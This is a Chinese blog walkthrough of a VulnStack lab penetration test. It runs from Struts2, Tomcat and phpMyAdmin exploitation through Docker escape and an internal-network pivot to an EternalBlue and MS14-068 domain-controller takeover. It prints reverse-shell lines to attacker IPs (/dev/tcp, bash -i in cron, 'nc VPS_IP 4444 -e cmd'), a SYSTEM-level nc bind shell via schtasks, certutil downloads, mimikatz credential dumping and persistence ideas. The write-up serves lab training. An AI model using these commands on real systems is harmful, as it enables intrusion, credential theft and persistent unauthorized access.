记一次VulnStack渗透

信息收集

netdiscover的主机发现部分不再详解,通过访问端口得知20001-2003端口都为web端口,所以优先考虑从此方向下手

图片

外网渗透

GetShell

Struct漏洞

访问2001端口后,插件Wappalyzer爬取得知这是一个基于Struct的web站点,直接考虑struct工具,一把梭

发现struct2漏洞,无法完整获得webshell,只有一个RCE权限,这里可以采用这种方法:

在revshell.com上生成一句话shell,ehco到文件中,然后使用bash执行,比如

0<&150-;exec 150<>/dev/tcp/192.168.253.174/4546;sh <&150 >&150 2>&150

表示向192.168.253.174的4546端口反射shell

python -c 'import pty;pty.spwn("/bin/bash")'一下子,就可以拿到root权限的shell了

Tomcat RCE

直接searchsploit,但是下载到EXP之后利用起来有点困难

tomcat的利用方式有时候有些奇怪,因为写入的webshell可能不在发布目录

图片

绝对路径是在usr/local/tomcat/webapps/ROOT/

然而shell显示的路径在/usr/local/tomcat

图片

所以一定要找好上传的webshell位置

phpMyAdmin

2003端口浏览器打开后发现是一个无需登录的phpMyAdmin管理站点

图片

这个利用方式相对困难,不能使用脚本一把梭

拿到一个SQL权限我会考虑两种技术:

  1. secure_file_priv

  2. general_log

但是发现这里的用户权限较低,无法打开日志功能,第二种方法失败:

图片

且无法写出文件,第一种方法失败:

图片

所以这里应考虑CVE,查看phpMyAdmin版本,搜索对应版本漏洞

图片

发现 cve-2018-12613 ,好嘛,本地文件包含!但是当我设置好路径exploit时,却发现:

图片

无法拿到系统的shell,后来我使用wireshark抓包分析才发现,原来msf会进行一次 POST 登录操作,而这里的PMA根本就不用登录,所以才会有这样的一个失败,因此只能手工利用,在这里我参考了

小白也可以看懂的漏洞分析(CVE-2018-12613)_Sisyphus」的博客-CSDN博客

这条文章,这里采用了一种先通过控制台查询SQL在session文件写入一句话马,然后再包含利用的方式,我也复现:

图片

那么接下来要包含的文件就是/tmp 目录下,以sess_开头pma结尾的文件了:

图片

成功!接下来直接用蚁剑连接就完成:

图片

Docker逃逸

进入系统后,要检查是否在虚拟机,或者在Docker中,Docker检查方法如下:docker环境下存在:ls -alh /.dockerenv 文件,所以检查是否存在该文件即可

docker逃逸就是从当前docke权限中逃逸出来,获得宿主机的权限。

相关知识点:(27条消息) 生命在于学习——docker逃逸_易水哲的博客-CSDN博客

这里的话,搜索文档以及大佬经验得知在特权情况下的docker可以挂载到物理机中,且该靶场只有2002的tomcat端口存在特权模式,所以只能用该方式逃逸

$ mkdir /tmp/rootdir
$ mount /dev/sda1 /tmp/rootdir
$ cd /tmp/rootdir

这样的话,就成功的进入到了宿主机器的根目录中,且权限为root

拿宿主机Shell

SSH密钥登录

那么我们可以考虑使用ssh-keygen生成密钥对,将公钥置于/root/.ssh/authorized_keys中(权限修改为只读chmod 400 *),然后使用ssh远程连接

计划任务反弹shell(*)

在计划任务里写入一个bash反弹shell的脚本:

cd /tmp
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.130/8888 0>&1"  >> shell.sh
chmod +x shell.sh写入crontab计划任务,表示每隔1分钟以root权限执行一次计划

然后用Kali监听即可nc -lp 8888

至此,我们成功的拿下了第一台主机web

内网渗透

信息收集

分析网络环境,经典双网卡

图片

搭建socks隧道

使用scp或者Python的http服务将ew上传到/tmp/hack目录,一定要改名!一定要改名!一定要改名!不然执行命令时会很麻烦

scp用法:

上传到远程192.168.2.105的/root/lab/test目录:

scp  -r /opt/test root@192.168.253.132:/root/lab/test

-r代表目录,如果上传普通文件则去掉参数-r

下载到本地:

scp root@vps:/root/lab/info.txt ./info.txt

这里还是使用ew,功能丰富,体积小,全平台兼容,可以搭建socks(端口转发)还可以端口映射

root@ubuntu:~/hack# ./ew -s ssocksd -l 3001&
[1] 124548
root@ubuntu:~/hack# ssocksd 0.0.0.0:3001 <--[10000 usec]--> socks server

存活探测

这里可以使用一个简单的小脚本,采用ping的方式探测

这个脚本可以说是万能脚本,用的时候注意修改网段

#!/bin/bash
for i in `seq 255`
do{ping -c 2 192.168.183.$i > /dev/nullif [ $? -eq 0 ];thenecho 192.168.183.$i is ok >> ip.txtfi
}&
done

然后可以查看ip.txt查看那些主机存活

192.168.183.1 is ok//物理机
192.168.183.129 is ok
192.168.183.130 is ok
192.168.183.128 is ok//web机器

那么就可以对.129.130这两台机器进行测试

永恒之蓝(稳)

对于MSF框架而言,本身就集成了代理模式,所以我们可以使用其代理进行内网渗透:

msf6> set Proxies socks5:192.168.253.132:3001
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set payload windows/meterpreter/bind_tcp
msf6> set rhost 192.168.183.129

一定要使用正向shell!反向Shell无论如何都不会成功因为目标是在内网环境

然后就会经历漫长的等待。。。和失败。。。多打几次的话就会出现奇迹

图片

最后会拿到一个meterpreter会话,但是可能是由于隧道原因,会非常不稳定!

所以我再拿到shell之后,迅速的打开了一个shell会话,使用certutil下载了提前部署在web上用python http.servernc.exe,然后使用schtasks,每分钟执行一次监听的正向shell:

schtasks /create /tn bindshell /sc minute /mo 1  /tr "nc -lp 4000 -e cmd" /ru system /f

然后就可以用web上的nc,获取到稳定的shell会话啦(可以映射到本地)

注,certutil的一些使用方法:

  • 编码(base64)

    命令:certutil -encode test.txt encode.txt

  • 编码(十六进制)

    命令:certutil -encodehex test.txt encode2.txt

  • 散列

    获取数据并传递固定长度的输出字符串。使用哈希加密算法,例如MD5,SHA-1,SHA-256,可以验证两个文件是否相同。该校验和用于执行检查的散列值的数据完整性,这是一种文件签名。通过比较校验和,我们可以识别重复文件。

    命令:certutil -hashfile生成指定哈希值,例如:

    certutil -hashfile test.txt md5(生成md5)

  • 下载

    命令:certutil.exe -urlcache -split -f http://服务器ip:8000/xss.js

至此,我们就已经非常稳定地获得了第二个主机shell权限,且为高权限

当然,这里保险的方法是用 反弹Shlle,然后在跳板机上使用端口映射到本地,例如:nc VPS_IP 4444 -e cmd ,这样就算目标机器打开了防火墙,也仍然可以接受到 shell 会话。

图片

然后我会选择改掉 administrator 账户的密码为Dotest123(这是在靶场环境,如果是真实环境,应该进行权限维持,例如影子账户,粘滞键shell等)

坎坷&踩坑&疑惑点

因为中间有事,所以拿域控的任务我是过了好久才继续进行的,然后当我过了一个月之后再次打开我的 Vmware 开始拿域控时,出现了各种乱七八糟的错误,例如net time /domain 时抛异常,IPC连接失败,Mimikatz 获取凭证乱码:

Mimikatz 乱码:

我将猕猴桃上传之后,尝试一波 sekurlsa::logonpasswords 却发现:

图片

其一,无法找到域用户,其二,获取的凭证密码有些是已经被加密的,但仍然存在本地用户(先不考虑其是否可以正常登录)

账户登录出现问题:

于是我打算直接用获取到的本地账户登录机器查看原因,却发现:

图片

通过WriteUp发现一组域账户信息:

demo\douser
Dotest123

尝试登录发现如下错误:

图片

解决方法:

这个问题我去问了大名鼎鼎的 Chat-GPT ,他给出的解释是这样的:

图片

所以我在命令行中新建了一个本地高权限用户,然后登录了本地机器重新加入了一下域,之后就一切正常啦,mimi也可以抓得到域用户凭证信息了

我觉得原因是因为太长时间不登陆,所以两台机器时间不一致,导致了域信任关系丢失,重新加入一下域即可。对于mimi抓不到抓乱码我觉得可能是因为机器账户(在每一个加入域的计算机中都有一个以“ **计算机名+$**“ 结尾的账户)的原因,抓不到域用户就是因为信任丢失的原因,所以本地也不存在域的凭证了(这里都是本人推理出来的,网上搜索说法不一,欢迎大佬共同讨论~)

拿下域控:

在问题解决之后,继续进行了渗透:

信息收集:

域控定位,由于只有129,130两个机器,而且129已被拿下,所以猜测130就是域控:

图片

图片

接下来我喜欢打开目标的3389端口,然后在桌面上进行操作

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
#打开3389端口
net localgroup "Remote Desktop Users" demo\douser /add
#给域用户添加登录权限

然后就可以开开心心的使用远程登录啦

图片

我们拿到的是普通域用户权限,应该查看一下域控:

图片

管理员:

图片

MS14-068提升域用户权限:

我们这里拿到了一个域用户权限之后可以提取出有用的信息,如SID,口令,用户名,域全名等,因此可以利用ms14-068工具生成票据然后利用mimikatz导入:

图片

ms14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1103 -d WIN-ENS2VR5TR3N.demo.com

注意这里一定要使用DC的全名:WIN-ENS2VR5TR3N@demo.com

否则生成会生成错误:

图片

这里是正确的结果:

图片

然后用mimikatz导入

图片

当显示这个效果的时候证明票据导入成功,此时我们可以使用 psexec 进行连接,

图片

成功!至此,我们终于拿下了域控机器

修改管理员密码,登录DC

图片

接下来还可以进行一些维权操作,当然,由于本次演示环境是靶场,便不再进行维权和痕迹清理

总结

本次靶场环境外网渗透相对比较简单顺利,且解题思路不止一种。通过三种方式都可以getshell,重要的是如何逃逸docker拿到宿主机的shell

内网环境除了拿域控稍有难度外,其他操作也是思路紧凑,合情合理,不过由于是内网渗透,所以牵扯到的知识点可能更多,更杂乱,但是总体不算难,多一些耐心还是可以成功的。这次内网渗透强化了我对kerberos的一些认识,大有收获。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/674598.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

gtkmm4 应用程序使用 CSS 样式

文章目录 前言css选择器css文件示例源代码效果 前言 程序样式和代码逻辑分离开 使代码逻辑更可观 css选择器 Cambalache提供了两种css-classes 相当于css里的类名:class“类名”css-name 相当于css里的标签名:spin div p 啥的 如上我设置了这个按钮控件的类名为testButton 标…

【Java】万万没想到,又被问ThreadLocal了

我待ThreadLocal如初恋&#xff0c;ThreadLocal虐我千百遍。但这一次&#xff0c;要彻底搞懂ThreadLocal 回顾一下面试名场面&#xff1a; 面试官&#xff1a;Handler如何做到与线程绑定的&#xff1f; 我&#xff1a;每个Handler只有一个相关联的Looper&#xff0c;线程绑定…

如何开始深度学习,从实践开始

将“如何开始深度学习”这个问题喂给ChatGPT和文心一言&#xff0c;会给出很有专业水准的答案&#xff0c;比如&#xff1a; 要开始深度学习&#xff0c;你可以遵循以下步骤&#xff1a; 学习Python编程语言的基础知识&#xff0c;因为它在深度学习框架中经常被使用。 熟悉线性…

自然人如何代开发票

1&#xff1a;登录国家税务总局深圳市电子税务局 地址&#xff1a;国家税务总局深圳市电子税务局 2&#xff1a;个人所得税APP 扫描登录 或 身份证登录 3&#xff1a;选择 自然人代开增值税电子普通发票 4&#xff1a;申请代开 5&#xff1a;人脸识别 6&#xff1a;画框的…

【每日一题】LeetCode——链表的中间结点

&#x1f4da;博客主页&#xff1a;爱敲代码的小杨. ✨专栏&#xff1a;《Java SE语法》 | 《数据结构与算法》 | 《C生万物》 ❤️感谢大家点赞&#x1f44d;&#x1f3fb;收藏⭐评论✍&#x1f3fb;&#xff0c;您的三连就是我持续更新的动力❤️ &#x1f64f;小杨水平有…

【Python4Delphi】学习笔记(一):介绍篇

一、前言&#xff1a; 1. python语言简介&#xff1a; 众所周知&#xff0c;python是目前非常流行的编程语言之一&#xff0c;自20世纪90年代初Python语言诞生至今&#xff0c;它已被逐渐广泛应用于系统管理任务的处理和Web编程。 由于Python语言的简洁性、易读性以及可扩展性…

苏宁易购移动端首页(rem布局)

技术选型 方案∶采取单独制作移动页面方案技术:布局采取rem适配布局( less rem &#xff0b;媒体查询)设计图:设计图采用750px设计尺寸 设置视口标签以及引入初始化样式 <meta name"viewport" content"widthdevice-width, initial-scale1.0, user-scalable…

Qt网络编程-写一个简单的网络调试助手

环境 Windows&#xff1a;Qt5.15.2&#xff08;VS2022&#xff09; Linux&#xff1a;Qt5.12.12&#xff08;gcc) 源代码 TCP服务器 头文件&#xff1a; #ifndef TCPSERVERWIDGET_H #define TCPSERVERWIDGET_H #include <QWidget> namespace Ui { class TCPServerW…

注意啦,MySQL8.0最新版是没有utf8选项,但是有utf8mb3和utf8mb4选项

今天在安装完MySQL最新版&#xff08;8.0.36&#xff09;&#xff0c;然后用navicat连接数据&#xff0c;创建数据库的时候&#xff0c;发现: MySQL最新版是没有utf8选项&#xff0c;但是有utf8mb3和utf8mb4选项 然后就只能卸载掉最新版&#xff0c;安装了8.0.28. &#xff08…

一文学会Axios的使用

异步请求 同步发送请求过程如下 浏览器页面在发送请求给服务器&#xff0c;在服务器处理请求的过程中&#xff0c;浏览器页面不能做其他的操作。只能等到服务器响应结束后才能&#xff0c;浏览器页面才能继续做其他的操作。 异步发送请求过程如下浏览器页面发送请求给服务器&…

JavaScript 跨窗口通信(Cross-Window Communication)

&#x1f9d1;‍&#x1f393; 个人主页&#xff1a;《爱蹦跶的大A阿》 &#x1f525;当前正在更新专栏&#xff1a;《VUE》 、《JavaScript保姆级教程》、《krpano》、《krpano中文文档》 ​ ​ ✨ 前言 在现代 Web 开发中&#xff0c;跨窗口通信是一种常见需求。它允许在…

服务器和云计算之间有什么关系?

云计算与服务器之间的关系是密切而复杂的。首先&#xff0c;我们需要明确一点&#xff0c;云计算并不是一种全新的技术&#xff0c;而是对现有技术的一种整合和改进。在这个基础上&#xff0c;我们可以更好地理解云计算与服务器之间的关系。 服务器是云计算的重要组成部分之一…

如何在Linux上部署1Panel运维管理面板并实现无公网ip远程访问

文章目录 前言1. Linux 安装1Panel2. 安装cpolar内网穿透3. 配置1Panel公网访问地址4. 公网远程访问1Panel管理界面5. 固定1Panel公网地址 前言 1Panel 是一个现代化、开源的 Linux 服务器运维管理面板。高效管理,通过 Web 端轻松管理 Linux 服务器&#xff0c;包括主机监控、…

Python中使用opencv-python库进行颜色检测

Python中使用opencv-python库进行颜色检测 之前写过一篇VC中使用OpenCV进行颜色检测的博文&#xff0c;当然使用opencv-python库也可以实现。 在Python中使用opencv-python库进行颜色检测非常简单&#xff0c;首选读取一张彩色图像&#xff0c;并调用函数imgHSV cv2.cvtColor…

华为 Huawei 交换机 黑洞MAC地址的作用和配置示例

黑洞mac作用&#xff1a;某交换机上配置某个PC的mac地址为黑洞mac&#xff0c;那么这台PC发出来的包都会被交换机丢弃&#xff0c;不会被转发到网络中。 组网需求&#xff1a; 如 图 2-13 所示&#xff0c;交换机 Switch 收到一个非法用户的访问&#xff0c;非法用户的 MAC 地址…

C++新版本特性

目录: 前言 C11的常用新特性 auto类型推导&#xff1a; auto的限制&#xff1a; auto的应用&#xff1a; decltype类型推导&#xff1a; decltype的实际应用&#xff1a; 使用using 定义别名&#xff1a; 支持函数模板的默认模板参数 : tuple元组&#xff1a; 列表初…

每日OJ题_位运算①_位运算解题方法+3道OJ

目录 位运算算法原理 ①力扣191. 位1的个数 解析代码 ②力扣338. 比特位计数 解析代码 ③力扣461. 汉明距离 解析代码 位运算算法原理 常见位运算解题方法&#xff1a; 1. 基础位运算&#xff1a; &&#xff1a;按位与&#xff0c;有0就是0 | &#xff1a;按位或&a…

C++分支语句

个人主页&#xff1a;PingdiGuo_guo 收录专栏&#xff1a;C干货专栏 大家新年快乐&#xff0c;今天&#xff0c;我们来了解一下分支语句。 文章目录 1.什么是分支语句 1.if语句 基本形式 用法说明 练习 2.if-else语句 基本形式 用法说明 练习 3.switch语句 基本形式…

LeetCode 热题 100 | 链表(中下)

目录 1 19. 删除链表的倒数第 N 个节点 2 24. 两两交换链表中的节点 3 25. K 个一组翻转链表 4 138. 随机链表的复制 菜鸟做题第三周&#xff0c;语言是 C 1 19. 删除链表的倒数第 N 个节点 到底是节点还是结点。。。 解题思路&#xff1a; 设置双指针 left 和 ri…

云安全的基本概念(基本目标与指导方针)

目录 一、云安全概念概述 1.1 概述 二、云安全的基本目标 2.1 安全策略开发模型 2.1.1 信息安全三元组 2.1.1.1 保密性(Confidentiality) 2.1.1.2 完整性(Integrity) 2.1.1.3 可用性(Availability) 2.1.2 信息安全三元组的局限性 2.2 其他信息安全属性 2.2.1 真实性 …